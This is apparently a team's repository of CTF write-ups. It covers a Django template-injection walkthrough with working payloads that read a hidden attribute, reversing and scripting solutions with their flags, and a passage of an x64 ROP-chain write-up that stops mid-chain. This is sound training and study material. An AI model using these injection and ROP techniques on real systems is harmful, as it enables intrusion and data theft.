├── CSAW-2017
└── web
│ └── Shia
│ └── solution.md
├── README.md
├── alexctf-2017
├── reversing
│ ├── 250-unVM_me
│ │ ├── README.md
│ │ ├── original.py
│ │ ├── sol.py
│ │ └── unvm_me.pyc
│ └── 50-Gifted
│ │ ├── README.md
│ │ └── gifted
├── scripting
│ └── 100-Math_Bot
│ │ ├── README.md
│ │ └── sol.py
└── trivia
│ ├── 10-Hello_there.md
│ ├── 20-SSL_0day.md
│ ├── 30-CA.md
│ └── 40-logo
│ ├── README.md
│ ├── logo.png
│ └── logo.txt
├── cccamp2015-milliways
├── README.md
├── ropcalc.md
└── ropcalc
│ ├── README.md
│ ├── calc.rop
│ ├── pwn_ropcalc.py
│ ├── ropcalc
│ └── server.py
├── csaw2015-quals
├── Exploit250-contacts
│ ├── README.md
│ ├── contacts2-local.py
│ ├── contacts_54f3188f64e548565bc1b87d7aa07427
│ ├── contacts_old
│ ├── libc-hopeful.so.6
│ └── printf-example
│ │ ├── README.md
│ │ ├── printf-example
│ │ ├── printf-example.c
│ │ └── solution.txt
├── Exploit400-memeshop.md
├── Exploit400-memeshop
│ ├── fortunes
│ │ └── asdf
│ ├── memes
│ │ ├── cage.meme
│ │ ├── derp.meme
│ │ ├── doge.meme
│ │ ├── fry.meme
│ │ ├── nyan.meme
│ │ ├── sir.meme
│ │ ├── skeleton.meme
│ │ ├── thumbup.meme
│ │ └── troll.meme
│ ├── memeshop.rb
│ ├── plugin
│ │ └── mememachine.so
│ └── pwn_memeshop.py
├── Exploite300-ftp2.md
└── Forensics100-transfer.md
├── csaw2016-quals
├── README.md
├── coinslot
│ ├── README.md
│ └── cointslot.py
├── fuzyll
│ └── solve_fuzyll.py
├── mfw
│ └── README.md
├── regexpire
│ ├── README.md
│ └── regexpire.txt
├── rock
│ ├── README.md
│ ├── rock
│ └── solve_rock.py
└── warmup
│ ├── README.md
│ └── warmup
├── hackthevote-2016
├── README.md
├── vermatrix_supreme
│ ├── README.md
│ ├── handout.py
│ └── sol.py
└── warp_speed
│ ├── README.md
│ ├── flag
│ ├── sol.py
│ ├── warp_speed.jpg
│ └── warp_speed_fixed.jpg
├── icectf-2016
├── Exposed
│ └── README.md
├── IRC1
│ └── README.md
├── IRC2
│ └── README.md
├── Over-the-Hill
│ └── OverTheHill.py
├── RSA1
│ └── README.md
├── RSA2
│ ├── README.md
│ └── nptr_rsatool.py
├── Round-Rabins
│ └── README.md
├── Smashing-Profit
│ ├── README.md
│ ├── flag.txt
│ └── profit
├── Thors-A-Hacker-Now
│ ├── README.md
│ ├── thor.out
│ └── thor.txt
├── Toke
│ └── README.md
├── corrupt_transmission
│ ├── README.md
│ ├── corrupt.png
│ └── corrupt_fixed.png
├── dear_diary
│ ├── README.md
│ ├── dear_diary
│ ├── dear_diary.py
│ └── flag.txt
├── intercepted_1
│ ├── README.md
│ ├── intercept_3dcea34fd7056a4cc2c1934dd07e4d1fed0bc0683b05b24741a999d1273339da.pcapng
│ └── solve.py
├── kitty
│ ├── README.md
│ └── kitty.py
├── l33tcrypt
│ └── l33tbrute.py
├── miners
│ └── README.md
├── ropi
│ ├── README.md
│ ├── flag.txt
│ ├── myropi
│ ├── myropi.c
│ ├── pwnropi.py
│ └── ropi
└── spotlight
│ └── README.md
├── sha2017
├── README.md
├── asby
│ ├── README.md
│ ├── asby.exe
│ └── sol.py
└── megan-35
│ ├── README.md
│ ├── libc.so.6
│ ├── megan-35
│ └── pwnMegan.py
└── sunshine-ctf-2016
├── Alligatorsim95
└── README.md
├── Dance
└── README.md
├── FindFloridaMan
└── README.md
└── README.md
/CSAW-2017/web/Shia/solution.md:
--------------------------------------------------------------------------------
1 | # Solution for Shia Labeouf-off!
2 |
3 | ## Things to know
4 |
5 | This challenge is based on the python web framework, Django. Before jumping into this one, review Django and templates in Django.
6 |
7 | ## Walkthrough
8 |
9 | ### Step 1: Investigation
10 |
11 | #### Homepage and polls
12 |
13 | When you first pull up this challenge, you will be on the homepage, with a Shia Surprise!
14 |
15 | Viewing the source for this page reveals nothing useful; let's move on.
16 |
17 | When you click the "Pick ur Shia!" button, you are brought to a new page, /polls/, which has 2 links to polls. Clicking one of the two, we are brought to a new url, http://web.chal.csaw.io:5487/polls/2/, and the number in the url immediately sticks out. Trying to change the url to 3 results in an error.
18 |
19 | http://web.chal.csaw.io:5487/polls/3/
20 |
21 | We are quickly greeted by a wall of error text! This may (and will) be useful later, but for now, let's move on.
22 |
23 | #### Ad-Lib
24 |
25 | Returning to the homepage, we can follow another link to /ad-lib/, where we are presented with a textbox with the following instructions:
26 |
27 | > Give me an ad lib and I will Shia Labeouf it up for you!
28 | > Where you want a noun, just put: "{{ noun }}", for a verb: "{{ verb }}", and for an adjective: "{{ adjective }}"!
29 |
30 | I was not familiar with Django when I started this challenge; however, this stands out immediately as some kind of programming language. Googling django and {{ }} reveals that we are looking at Djangos templates. It appears we have found our vulnerability.
31 |
32 | However, we do not have a direction for our exploit. Since the debug is on, let's go ahead and get an error on this page as well. This is easily done by inserting some weird Django template, such as:
33 |
34 | {{ * }}
35 |
36 | ### Step 2: Searching for our flag
37 |
38 | #### Mrpoopy
39 |
40 | We now have two useful error pages, one on the polls page and one on the adlib page.
41 |
42 | When looking through django errors, it's useful to look for code on the error trace that was created by the user, not the library. You can find this code by looking for files with clearly user-generated names, or starting with ./ (Clicking on the one-line code excerpt will expand it.)
43 |
44 | Scrolling through it, we find this:
45 |
46 | ./ad-lib/views.py in index
47 |
48 | def index(request):
49 | global obj
50 | if request.method == "POST":
51 | data = request.POST.get('formatdata', '')
52 | template_data = TEMP.format(data.replace("noun", "noun|safe").replace("verb", "verb|safe").replace("adjective", "adjective|safe"))
53 | template = Template(template_data)
54 | context = RequestContext(request, {
55 | 'noun': '',
56 | 'verb': '',
57 | 'adjective': '',
58 | 'mrpoopy': obj
59 | })
60 |
61 | We have found the values we were calling earlier! However, we also found an object, mrpoopy. Let's try to print this by injection again:
62 |
63 | {{ mrpoopy }}
64 |
65 | We are given the following:
66 |
67 | >
68 |
69 | This is a fairly strange object, and in a convenient location, so our flag is probably hiding here. Unfortunately, we have no way to know what attributes are in the object, such as by calling the dir function in python.
70 |
71 | #### Finding Mypoopy's attributes
72 |
73 | Let us view our other source of knowledge, the errors in the polls page. We will do what we did before, and search for user-written code. We find, amongst other things:
74 |
75 | ./polls/templatetags/pools_extras.py in checknum
76 |
77 | @register.filter(name='getme')
78 | def getme(value, arg):
79 | return getattr(value, arg)
80 |
81 | @register.filter(name='checknum')
82 | def checknum(value):
83 | check(value)
84 |
85 | @register.filter(name='listme')
86 | def listme(value):
87 | return dir(value)
88 |
89 | def check(value):
90 |
91 | That listme is exactly what we need! This file is in the folder templatetags. If we google this, we find these are custom functions that act like "filters" for our templates. The following prints my_date, formatted as Y-m-d:
92 |
93 | {{ my_date|date:"Y-m-d" }}
94 |
95 | The custom listme calls dir on the variable, which is exactly what we need! The getme might also be useful, so let's keep it in mind.
96 |
97 | ### Step 3: Exploit!
98 |
99 | Let's go bck to the ad-lib page and find out what secrets mrpoopy holds. Inject the following:
100 |
101 | {{ mrpoopy|listme }}
102 |
103 | We get the following:
104 |
105 | ['Woohoo', '__doc__', '__flag__', '__module__']
106 |
107 | Perfect! That flag value is exactly what we need! You just killed Shia Labeouf!
108 |
109 | {{ mrpoopy.__flag__ }}
110 |
111 | Wait... He's not dead! Shia Surprise! (https://www.youtube.com/watch?v=o0u4M6vppCI) We got a syntax error, as variables and attributes may not begin with underscores. Fortunately, we found a function earlier that is not so limiting: getme. Let's use it here!
112 |
113 | {{ mrpoopy|getme:"__flag__" }}
114 |
115 | Congratulations! You have just beat Shia Labeouf. For real this time. And you kept all your limbs!
116 |
117 | ## Flag
118 |
119 | flag{wow_much_t3mplate}
120 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # writeups
2 | Public WCSC writeups
3 |
--------------------------------------------------------------------------------
/alexctf-2017/reversing/250-unVM_me/README.md:
--------------------------------------------------------------------------------
1 | # Reversing 250 - UnVM me
2 |
3 | ### Description
4 |
5 | > If I tell you what version of python I used .. where is the fun in that?
6 |
7 | ### Solution
8 |
9 | [This blog post](http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html)
10 | explained that the first 4 bytes of a .pyc file are a magic number indicating
11 | what version of `marshal` (which changes every python major version) was used for serialization.
12 | The next 4 bytes are a modification timestamp, and the rest of the file is a
13 | marshalled code object.
14 |
15 | The first four bytes of the .pyc file are `03 f3 0d 0a` (`'\x03\xf3\r\n'`).
16 | [This SO answer](http://stackoverflow.com/a/7807661/1529586) enumerates the known
17 | .pyc version numbers. According to the list, this .pyc file was compiled with
18 | python 2.7a0. We will use that version to demarshal it.
19 |
20 | After seeking past the 8th byte, we should be able to call `marshal.load()` and pass the
21 | resulting code object into `dis.dis`. After some trial and error, we arrive at the
22 | original source (located in `original.py`).
23 |
24 | It contains a list of md5 digests that must be reversed. The input strings that correspond
25 | to the hashes are 5 characters long each (according to `for i in range(0, len(flag), 5):`)
26 | and there are 13 of them in total. Passing these hashes into any hash cracking software
27 | should get the 13 original strings. Concatenating these results in the flag.
28 |
29 | ### Flag
30 |
31 | ALEXCTF{dv5d4s2vj8nk43s8d8l6m1n5l67ds9v41n52nv37j481h3d28n4b6v3k}
32 |
--------------------------------------------------------------------------------
/alexctf-2017/reversing/250-unVM_me/original.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 | import md5
3 | md5s = [0x831daa3c843ba8b087c895f0ed305ce7,
4 | 0x6722f7a07246c6af20662b855846c2c8,
5 | 0x5f04850fec81a27ab5fc98befa4eb40c,
6 | 0xecf8dcac7503e63a6a3667c5fb94f610,
7 | 0xc0fd15ae2c3931bc1e140523ae934722,
8 | 0x569f606fd6da5d612f10cfb95c0bde6d,
9 | 0x068cb5a1cf54c078bf0e7e89584c1a4e,
10 | 0xc11e2cd82d1f9fbd7e4d6ee9581ff3bd,
11 | 0x1df4c637d625313720f45706a48ff20f,
12 | 0x3122ef3a001aaecdb8dd9d843c029e06,
13 | 0xadb778a0f729293e7e0b19b96a4c5a61,
14 | 0x938c747c6a051b3e163eb802a325148e,
15 | 0x38543c5e820dd9403b57beff6020596d]
16 |
17 | print 'Can you turn me back to python ? ...'
18 | flag = raw_input('well as you wish.. what is the flag: ')
19 |
20 | if len(flag) > 69:
21 | print 'nice try'
22 | exit()
23 |
24 | if len(flag) % 5 != 0:
25 | print 'nice try'
26 | exit()
27 |
28 | for i in range(0, len(flag), 5):
29 | s = flag[i, i+5]
30 | if int('0x'+md5.new(s).hexdigest(), 16) != md5s[i/5]:
31 | print 'nice try'
32 | exit()
33 |
34 | print 'Congratz now you have the flag.'
35 |
--------------------------------------------------------------------------------
/alexctf-2017/reversing/250-unVM_me/sol.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 |
3 | import marshal
4 | import dis
5 |
6 | with open('unvm_me.pyc') as f:
7 | f.read(8)
8 | dis.dis(marshal.load(f))
9 |
--------------------------------------------------------------------------------
/alexctf-2017/reversing/250-unVM_me/unvm_me.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/alexctf-2017/reversing/250-unVM_me/unvm_me.pyc
--------------------------------------------------------------------------------
/alexctf-2017/reversing/50-Gifted/README.md:
--------------------------------------------------------------------------------
1 | # Reversing 50 - Gifted
2 |
3 | ### Description
4 |
5 | No Description
6 |
7 | ### Solution
8 |
9 | The flag appears in the output of `strings gifted`
10 |
11 | ### Flag
12 |
13 | AlexCTF{Y0u_h4v3_45t0n15h1ng_futur3_1n_r3v3r5ing}
14 |
--------------------------------------------------------------------------------
/alexctf-2017/reversing/50-Gifted/gifted:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/alexctf-2017/reversing/50-Gifted/gifted
--------------------------------------------------------------------------------
/alexctf-2017/scripting/100-Math_Bot/README.md:
--------------------------------------------------------------------------------
1 | # Scripting 100 - Math Bot
2 |
3 | ### Flag
4 |
5 | ALEXCTF{1_4M_l33t_b0t}
6 |
--------------------------------------------------------------------------------
/alexctf-2017/scripting/100-Math_Bot/sol.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | from pwn import *
4 |
5 | s = remote('195.154.53.62', 1337)
6 |
7 | s.recvuntil('are a bot\n')
8 | while True:
9 | line = s.recvline(keepends=False)
10 | if line.startswith('Question'):
11 | expr = s.recvline(keepends=False)
12 | print line, expr,
13 |
14 | a, op, b = expr.rstrip('=').strip().split()
15 | a, b = int(a), int(b)
16 |
17 | if op == '-':
18 | res = str(a - b)
19 | elif op == '+':
20 | res = str(a + b)
21 | elif op == '*':
22 | res = str(a * b)
23 | elif op == '%':
24 | res = str(a % b)
25 | elif op == '/':
26 | res = str(a / b)
27 | else:
28 | print 'Unknown operation \'%s\'' % op
29 | break
30 |
31 | print res
32 | s.send(res + '\n')
33 |
34 | else:
35 | print line
36 | print s.recvall()
37 | break
38 |
--------------------------------------------------------------------------------
/alexctf-2017/trivia/10-Hello_there.md:
--------------------------------------------------------------------------------
1 | # Trivia 10 - Hello there
2 |
3 | ### Description
4 |
5 | > Why not drop us a few lines and say hi :).
6 |
7 | ### Solution
8 |
9 | The topic on the IRC channel #alexctf on Freenode is
10 |
11 | Alexandria University student held capture the flag event ctf.oddcoder.com ALEXCTF{W3_w15h_y0u_g00d_luck}
12 |
13 | ### Flag
14 |
15 | ALEXCTF{W3_w15h_y0u_g00d_luck}
16 |
--------------------------------------------------------------------------------
/alexctf-2017/trivia/20-SSL_0day.md:
--------------------------------------------------------------------------------
1 | # Trivia 20 - SSL 0day
2 |
3 | ### Description
4 |
5 | > It lead to memory leakage between servers and clients rending large number
6 | > of private keys accessible. (one word)
7 |
8 | ### Solution
9 |
10 | > The Heartbleed Bug is a serious vulnerability in the popular OpenSSL
11 | > cryptographic software library. This weakness allows stealing the information
12 | > protected, under normal conditions, by the SSL/TLS encryption used to secure
13 | > the Internet.
14 |
15 | ([Source](http://heartbleed.com/))
16 |
17 | ### Flag
18 |
19 | Heartbleed
20 |
--------------------------------------------------------------------------------
/alexctf-2017/trivia/30-CA.md:
--------------------------------------------------------------------------------
1 | # Trivia 30 - CA
2 |
3 | ### Description
4 |
5 | > What is the CA that issued Alexctf https certificate
6 | > (flag is lowercase with no spaces)
7 |
8 | ### Solution
9 |
10 | Viewing the certificate issued by ctf.oddcoder.com, we see its CA is
11 | "Let's Encrypt"
12 |
13 | ### Flag
14 |
15 | letsencrypt
16 |
--------------------------------------------------------------------------------
/alexctf-2017/trivia/40-logo/README.md:
--------------------------------------------------------------------------------
1 | # Trivia 40 - Doesn't Our Logo Look Cool?
2 |
3 | 
4 |
5 | ### Solution
6 |
7 | The flag format for this ctf is `ALEXCTF{[A-Za-z0-9_]*}`.
8 | Run `tr` to delete any character that isn't in the set.
9 |
10 | tr -dC 'A-Za-z0-9_{}' < logo.txt
11 |
12 | ### Flag
13 |
14 | ALEXCTF{0UR_L0G0_R0CKS}
15 |
--------------------------------------------------------------------------------
/alexctf-2017/trivia/40-logo/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/alexctf-2017/trivia/40-logo/logo.png
--------------------------------------------------------------------------------
/alexctf-2017/trivia/40-logo/logo.txt:
--------------------------------------------------------------------------------
1 | '@+.
2 | @@@@@@@:
3 | @@@@@@@@@#
4 | @@@@@@@@@@@,
5 | '@@@@@@@@@@@@
6 | @@@@@@@@@@@@@
7 | @@@@@@@@@@@@@.
8 | @@@@@@@@@@@@@,
9 | @@@@A@@@@@@@@
10 | +@@@@@@@@@@@@ .:++@@@@@+:.
11 | @@@@@@@@@@@' .+@@@@@@@@@@@@@@@@@@@@@`
12 | .@@@@@@@@@@ .#@@@@@@@@@@@@@@L@@@@@@@@@@@@@#
13 | +@@@@@@@@ `#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .@@.
14 | +@@@E@@@@ .@@@@@@X@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@: '@@@@@.
15 | +@@@@@@@@ ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@C@@. `+@@@@@@@@@.
16 | +@@@@@@@@ ;@@@@@@T@@@@@@@@@@@',` .+@@@@@@@@@@@@@@@: `:@@@@@@F@@@@@@@@.
17 | +@@@@@@@@ ;@@@@@@@@@@@+. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@.
18 | +@@@@@@@@ ;@@@@@@@, `@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@.
19 | +@@@@@@@@ ;@@@@@. +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@.
20 | +@@@@@@@@ ;@@@@@. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@.
21 | +@@@@@@@@ ;@@@@@. ;@@@@@@@@@@@@{@@@@@@@@@@@#, ;@@@@@.
22 | +@@@@@@@@ ;@@@@@. '@@@@@@@@@@@@@@+, ;@@@@@.
23 | +@@@@@@@@ ;@@@@@. ;@@@@@.
24 | +@@@@@@@@ ;@@@@@. ;@@@@@.
25 | +@@@@@@@@ ;@@@@@. ;@@@@@.
26 | +@@@@@@@@ ;@@@@@. ;@@@@@.
27 | +@@@@@@@@ ;@@@@@. ;@@@@@.
28 | +@@@@@@@@ ;@@@@@. ;@@@@@.
29 | +@@@@@@@@ ;@@@@@. :;. ;@@@@@.
30 | +@@@@@@@@ ;@@@@@. @ ;@ @@@@@@@ @` `@ +@@#@@ '@@@@@@@ @@@@@@@, ;@@@0@.
31 | +@@@@U@@@ ;@@@@@. @+ ;@ @ .@ @, @ #@ `@ @ ;@@@@@.
32 | +@@@@@R@@ ;@@@@@. .@@ ;@ @ @` `@ :@ @ `@ @ ;@@@_@.
33 | +@@@@@@@@ ;@@@@@. @,@ ;@ @ ,@ @, ;@ ` `@ @ ;@@@@@.
34 | +@@@@@@@@ ;@@@@@. @ @: ;@ @ @`@ ;@ `@ @ ;@@@@@.
35 | +@@@@@@@@ ;@@@@@. @ .@ ;@ @ ,@: ;@ `@ @ ;@@@@@.
36 | +@@@@@@@@ ;@@@@@. +# @ ;@ @@@@@@ @ ;@ `@ @@@@@@ ;@@@@@.
37 | +@@@@@@@@ ;@@@@@. @ @` ;@ @ @+@ ;@ `@ @ ;@@@@@.
38 | +@@@@@@@@ ;@@@@@. @ '# ;@ @ @ @ ;@ `@ @ ;@@@@@.
39 | +@@@@@@@@ ;@@@@@. ,@@@@@@ ;@ @ @; :@ ;@ @ `@ @ ;@@@@@.
40 | +@@@@@@@@ ;@@@@@. @: @ ;@ @ @ @ ,@ @ `@ @ ;@@@@@.
41 | +@@@@@@@@ ;@@@@@. @ @; ;@ @ @; :@ @, @' `@ @ ;@@@@@.
42 | +@@@@@L@@ ;@@@@@. @ .@ ;@@@@@@ @@@@@@@ @ @ @@@@# `@ @ ;@@@@@.
43 | +@@@@@@@@ ;@@@@@. ;@@@@@.
44 | +@@@@@@@@ ;@@@@@. ;@@@@@.
45 | +@@@@@@@@ ;@@@@@. ;@@@@@.
46 | +@@@@@@@@ ;@0@@@. ;@@@@@.
47 | +@@@@@@@@ ;@@@@@. ;@@@@@.
48 | +@@@@@@@@ ;@@@@@. ;@@@@@.
49 | +@@@@@@@@ ;@@@@@. ;@@@@@.
50 | +@@@@@@@@ ;@@@@@. ;@@@@@.
51 | +@@@@@@@@ ;@@@@@. ;@@@@@.
52 | +@@@@@@@@ ;@@@@@. ;@@G@@.
53 | +@@@@@@@@ ;@@@@@. ;@@@@@.
54 | +@@@@@@@@ ;@@@@@. ..,:,.. ;@@@@@.
55 | +@@@@@@@@ ;@@@@@. `'@@@@@@@@@@@@@@@@@@@@: ;@@@@@.
56 | +@@@@@@@@ ;@@@@@.+@@@@@@@@@@@@@0@@@@@@@@@@@@@@@. ;@@@_@.
57 | +@@R@@@@@ ;@@@@0@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@# ;@@C@@.
58 | +@@@@@@@@ ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@` .@@@@@@.
59 | +@@@@@@@@ ;@@@@@@@@@@@K@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@, `'@@@@@S@@@@.
60 | +@@@@@@@@ ;@@@@@@@@@@@@@@@@@@+;;...;;+@@@@@@@@@@@@@@@@@@@@@@+:. ..:+@@@@@@@@@@@@@@@@@.
61 | +@@@@@@@@ ;@@@@@@@@@@#, '@@@@@}@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@.
62 | +@@@@@@@@ ;@@@@@@; ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@.
63 | +@@@@@@@@ ;@@# `@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#
64 | +@@@@@@@@ , ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@.
65 | +@@@@@@@@ `+@@@@@@@@@@@@@@@@@@@@#,
66 | +@@@@@@@@ .;'+++';.
67 | +@@@@@@@@
68 | +@@@@@@@@
69 | +@@@@@@@@
70 | +@@@@@@@@
71 | +@@@@@@@@
72 | +@@@@@@@@
73 | +@@@@@@@@
74 | +@@@@@@@@
75 | +@@@@@@@@
76 | +@@@@@@@@
77 | +@@@@@@@@
78 | +@@@@@@@@
79 | +@@@@@@@@
80 | +@@@@@@@@
81 | +@@@@@@@@
82 | +@@@@@@@@
83 | +@@@@@@@@
84 | +@@@@@@@@
85 | +@@@@@@@@
86 | +@@@@@@@@
87 | +@@@@@@@@
88 | +@@@@@@@@
89 | +@@@@@@@@
90 | +@@@@@@@@
91 | +@@@@@@@@
92 | +@@@@@@@@
93 | +@@@@@@@@
94 | +@@@@@@@@
95 | +@@@@@@@@
96 | +@@@@@@@@
97 | +@@@@@@@@
98 | +@@@@@@@@
99 | +@@@@@@@@
100 | +++++++++++++++++++#@@@@@@@@+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
101 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
102 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
103 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
104 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
105 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
106 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
107 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
108 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
109 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
110 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
111 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
112 | @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
113 |
--------------------------------------------------------------------------------
/cccamp2015-milliways/README.md:
--------------------------------------------------------------------------------
1 | # CCCamp 2015 CTF
2 |
3 | Duck and I (along with others) played with the Milliways chaostreff. Binaries and such included in respective directories.
4 |
5 | Note that I won't go over the basics of exploitation (like ROP or defeating ASLR). If you need to learn that, there are plenty of resources online that are better than I would write in a GitHub markdown file... Including my (currently unedited/crappy) ["bootcamp"](https://drive.google.com/folderview?id=0B93dhxRIPRWzfjRJRFdYNVQ0OXlJOVBBclB0eFFBampVOUpsR0NtS0VRdFpmYnJlQWNaRWc&usp=sharing).
6 |
7 | ropcalc was fun and easy. It's definitely worth doing if you want a toy x64 ROP challenge.
8 |
9 | bitterman was the first one I did (and the most points), simply because it was at the top of the list in the "binaries" section. It turned out that bitterman was a harder version of another challenge, so I won't post the writeup for that other one (phobos, I think).
10 |
--------------------------------------------------------------------------------
/cccamp2015-milliways/ropcalc.md:
--------------------------------------------------------------------------------
1 | # ROPcalc writeup
2 |
3 | ropcalc was fun. You're given the binary and a python server to wrap it. The server calls the binary, you provide stdin, and it simply returns to whatever address you supply. The server then checks the return value and verifies whether or not it matches the expected number.
4 |
5 | From the server code:
6 |
7 | ```python
8 | EXPRESSIONS = (
9 | "$rax + $rbx",
10 | "$rax + $rbx + 1337",
11 | "$rax * $rbx",
12 | "$rax * (31337 + $rbx)",
13 | "$rcx + 23 * $rax + $rbx - 42 * ($rcx - 5 * $rdx - $rdi * $rsi) - $r8 + 2015",
14 | )
15 | ```
16 |
17 | So you need to create a ROP chain that evaluates those expressions, then return the value in RAX. It's not difficult, but it's an exercise in x64 ROP. And gadget searching, of course. The server goes through each individual expression and checks it, so we want a rop chain to implement each expression. Also, the server takes a hex encoding of the payload (rop chain).
18 |
19 | The first expression is `$rax + $rbx`. I do a `grep "add rax, rbx" calc.rop` and find a gadget:
20 |
21 |
22 | ```
23 | 0x0000000000400b30 : add rax, rbx ; ret
24 | ```
25 |
26 | This looks like a nice gadget. And it'll return with `RAX` being the result, so we're golden.
27 |
28 | ```python
29 | rop = ''
30 | rop += p64(0x0000000000400b30)
31 | r.sendline(rop.encode('hex'))
32 | ```
33 |
34 | The next one was to do `$rax + $rbx + 1337`. For this, I decided to just pop the value into a register and add it that way. `RBX` is fine as a temporary register... A couple greps later, and here's a chain:
35 |
36 | ```
37 | 0x0000000000400b30 : add rax, rbx ; ret
38 | 0x00000000004008d0 : pop rbx ; ret
39 | 1337
40 | 0x0000000000400b30 : add rax, rbx ; ret
41 | ```
42 |
43 | Notice that I'm simply popping 1337 from the stack (into `RBX`) and then adding that.
44 |
45 | ```python
46 | rop += p64(0x0000000000400b30)
47 | rop += p64(0x00000000004008d0)
48 | rop += p64(1337)
49 | rop += p64(0x0000000000400b30)
50 | r.sendline(rop.encode('hex'))
51 | ```
52 |
53 | Next one you needed to multiply (`$rax * $rbx`)! That's crazy stuff, so I had to change my grep up a little. `grep "mul rax, rbx" calc.rop` gave me:
54 |
55 | ```
56 | 0x0000000000400b50 : imul rax, rbx ; ret
57 | ```
58 |
59 | So...
60 |
61 | ```python
62 | rop += p64(0x0000000000400b50)
63 | r.sendline(rop.encode('hex'))
64 | ```
65 |
66 | Now for the next one (`$rax * (31337 + $rbx)`) we need proper order of operations. So I need a temporary register. It can't be `RAX` or `RBX`, so I `egrep "add r.x, rbx" calc.rop`. And I decided to use:
67 |
68 | '''
69 | 0x00000000004013a0 : add rcx, rbx ; ret
70 | '''
71 |
72 | Now everything is as easy as before - put 31337 into `RCX`, add it to `RBX`, then `imul` that with `RAX`.
73 |
74 | ```
75 | 0x0000000000400900 : pop rcx ; ret
76 | 31337
77 | 0x00000000004013a0 : add rcx, rbx ; ret
78 | 0x0000000000400ba0 : imul rax, rcx ; ret
79 | ```
80 |
81 | Python:
82 |
83 | ```python
84 | rop += p64(0x0000000000400900)
85 | rop += p64(31337)
86 | rop += p64(0x00000000004013a0)
87 | rop += p64(0x0000000000400ba0)
88 | r.sendline(rop.encode('hex'))
89 | ```
90 |
91 | Now this last one was a pain... This:
92 |
93 | ```
94 | $rcx + 23 * $rax + $rbx - 42 * ($rcx - 5 * $rdx - $rdi * $rsi) - $r8 + 2015
95 | ```
96 |
97 | had lots of order-of-operations problems. I decided to just do stuff in semi-random order - it's nice that x64 has lots of registers to allow for temp storage <3. After lots of grepping and soul searching (comments and all from my notes):
98 |
99 | ```
100 | 0x0000000000400a20 : pop r10 ; ret stage 23
101 | 23
102 | 0x0000000000400d80 : imul rax, r10 ; ret 23 * rax
103 | 0x0000000000400b80 : add rax, rcx ; ret ^this + rcx
104 | 0x0000000000400b30 : add rax, rbx ; ret ^this + rbx
105 |
106 | stuffs:
107 | 0x0000000000400a20 : pop r10 ; ret
108 | 5
109 | 0x00000000004019b0 : imul rdx, r10 ; ret
110 | 0x0000000000401400 : sub rcx, rdx ; ret
111 |
112 | 0x00000000004020e0 : imul rdi, rsi ; ret
